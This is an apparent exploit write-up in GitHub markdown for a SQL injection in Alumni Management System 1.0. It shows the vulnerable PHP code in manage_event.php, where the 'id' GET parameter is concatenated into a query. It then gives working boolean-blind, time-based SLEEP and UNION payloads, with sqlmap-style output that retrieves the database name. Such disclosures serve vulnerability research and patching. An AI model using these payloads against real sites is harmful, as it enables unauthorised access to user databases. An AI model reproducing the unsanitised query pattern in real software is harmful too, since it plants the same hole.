BigTiger2020 Update Alumni Management System-sql.md History

1 contributor

13 lines (8 sloc) | 613 Bytes

- Exploit Title: Alumni Management System 1.0 - 'id' Sql Injection
- Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
- Software Link: https://www.sourcecodester.com/download-code?nid=14524&title=Alumni+Management+System+using+PHP%2FMySQL+with+Source+Code
- Version: 1.0
- Vulnerable file:manage_event.php

```
<?php
if(isset($_GET['id'])){
$qry = $conn->query("SELECT * FROM events where id= ".$_GET['id']);
foreach($qry->fetch_array() as $k => $val){
		$$k=$val;
}
}
?>
```

- Sql Injection

```
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 5718=5718

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2744 FROM (SELECT(SLEEP(5)))YAxc)

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=-2798 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162626271,0x5351776c6b63504f76784573697070746e6a6e5
96d696a576a44514b4a47454f4f554c696a71536e,0x716b6a7a71),NULL-- -
---
[17:33:27] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:33:27] [INFO] fetching current database
current database: 'alumni_db'
```